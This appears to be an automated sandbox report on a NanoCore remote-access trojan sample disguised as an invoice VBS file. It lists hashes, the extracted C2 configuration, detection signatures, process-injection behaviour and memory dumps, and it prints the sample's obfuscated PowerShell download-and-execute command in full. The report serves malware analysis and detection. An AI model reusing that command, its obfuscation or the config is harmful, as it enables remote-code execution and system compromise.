nanocore | 1b8775fa633e04edf24411129b02074e4a9b8a79c28896908ff57dafe7cde968

General

Target

G2M18C6INV0ICERECEIPT.vbs
Size

4KB
MD5

e193dff484ce89bc7ba5ae2022ab7227
SHA1

49d652b6e0fe6071b99fa9a7e891cc5187ebc4db
SHA256

1b8775fa633e04edf24411129b02074e4a9b8a79c28896908ff57dafe7cde968
SHA512

a5796933a05066bb69a14b7c4bf0a77d3e5f58572390f9d342a39a95c14b43a2a6e67f7e9ecc163fd75552cd6226274f065f41be2888089901c19431b96878c5

Score

10^/10

nanocore keylogger spyware stealer suricata trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

testalienscy9090.duckdns.org:9090

Mutex

fcfcc300-e950-40f9-b028-e26ea1764ca2

Attributes

activate_away_mode
true
backup_connection_host
testalienscy9090.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-10-25T23:52:05.392054736Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
9090
default_group
test
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
fcfcc300-e950-40f9-b028-e26ea1764ca2
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
testalienscy9090.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

9 2724 powershell.exe
24 2724 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2724 set thread context of 2824 2724 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
9	2724	powershell.exe
24	2724	powershell.exe

description	pid	process	target process
PID 2724 set thread context of 2824	2724	powershell.exe	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid	process
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
2824	aspnet_compiler.exe
2824	aspnet_compiler.exe
2824	aspnet_compiler.exe
2824	aspnet_compiler.exe
2824	aspnet_compiler.exe
2824	aspnet_compiler.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

aspnet_compiler.exe

pid process

2824 aspnet_compiler.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 2724 powershell.exe
Token: SeDebugPrivilege 2824 aspnet_compiler.exe

pid	process
2824	aspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2824	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2344 wrote to memory of 2724	2344	WScript.exe	powershell.exe
PID 2344 wrote to memory of 2724	2344	WScript.exe	powershell.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe
PID 2724 wrote to memory of 2824	2724	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\G2M18C6INV0ICERECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'HttP://swmen.com/ben/PS1vedy.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2724-150-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-117-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-116-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-118-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-119-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-120-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-121-0x00000199DFD00000-0x00000199DFD02000-memory.dmp

Filesize
8KB

Download
memory/2724-122-0x00000199DFD03000-0x00000199DFD05000-memory.dmp

Filesize
8KB

Download
memory/2724-123-0x00000199FA2A0000-0x00000199FA2C2000-memory.dmp

Filesize
136KB

Download
memory/2724-124-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-125-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-127-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-126-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-128-0x00000199FA450000-0x00000199FA4C6000-memory.dmp

Filesize
472KB

Download
memory/2724-129-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-135-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-136-0x00000199DFD06000-0x00000199DFD08000-memory.dmp

Filesize
8KB

Download
memory/2724-137-0x00000199DFB70000-0x00000199DFB72000-memory.dmp

Filesize
8KB

Download
memory/2724-147-0x00000199FA3F0000-0x00000199FA400000-memory.dmp

Filesize
64KB

Download
memory/2724-115-0x0000000000000000-mapping.dmp

Download
memory/2824-151-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2824-160-0x00000000051C0000-0x00000000051CA000-memory.dmp

Filesize
40KB

Download
memory/2824-148-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2824-152-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2824-153-0x0000000005370000-0x000000000586E000-memory.dmp

Filesize
5.0MB

Download
memory/2824-154-0x0000000004F50000-0x0000000004FE2000-memory.dmp

Filesize
584KB

Download
memory/2824-155-0x0000000005090000-0x000000000512C000-memory.dmp

Filesize
624KB

Download
memory/2824-156-0x0000000004E70000-0x000000000536E000-memory.dmp

Filesize
5.0MB

Download
memory/2824-157-0x0000000004F40000-0x0000000004F4A000-memory.dmp

Filesize
40KB

Download
memory/2824-158-0x0000000005060000-0x000000000506A000-memory.dmp

Filesize
40KB

Download
memory/2824-159-0x0000000005070000-0x000000000508E000-memory.dmp

Filesize
120KB

Download
memory/2824-149-0x000000000041E792-mapping.dmp

Download
memory/2824-161-0x0000000005270000-0x0000000005282000-memory.dmp

Filesize
72KB

Download
memory/2824-162-0x00000000064A0000-0x00000000064BA000-memory.dmp

Filesize
104KB

Download
memory/2824-163-0x00000000064C0000-0x00000000064CE000-memory.dmp

Filesize
56KB

Download
memory/2824-164-0x00000000064D0000-0x00000000064E2000-memory.dmp

Filesize
72KB

Download
memory/2824-165-0x00000000064E0000-0x00000000064EC000-memory.dmp

Filesize
48KB

Download
memory/2824-166-0x00000000064F0000-0x00000000064FE000-memory.dmp

Filesize
56KB

Download
memory/2824-167-0x0000000006500000-0x0000000006514000-memory.dmp

Filesize
80KB

Download
memory/2824-168-0x0000000006510000-0x0000000006524000-memory.dmp

Filesize
80KB

Download
memory/2824-169-0x0000000006520000-0x000000000652E000-memory.dmp

Filesize
56KB

Download
memory/2824-170-0x0000000006540000-0x000000000656E000-memory.dmp

Filesize
184KB

Download
memory/2824-171-0x0000000006580000-0x0000000006594000-memory.dmp

Filesize
80KB

Download
memory/2824-172-0x0000000006750000-0x00000000067B6000-memory.dmp

Filesize
408KB

Download

Analysis

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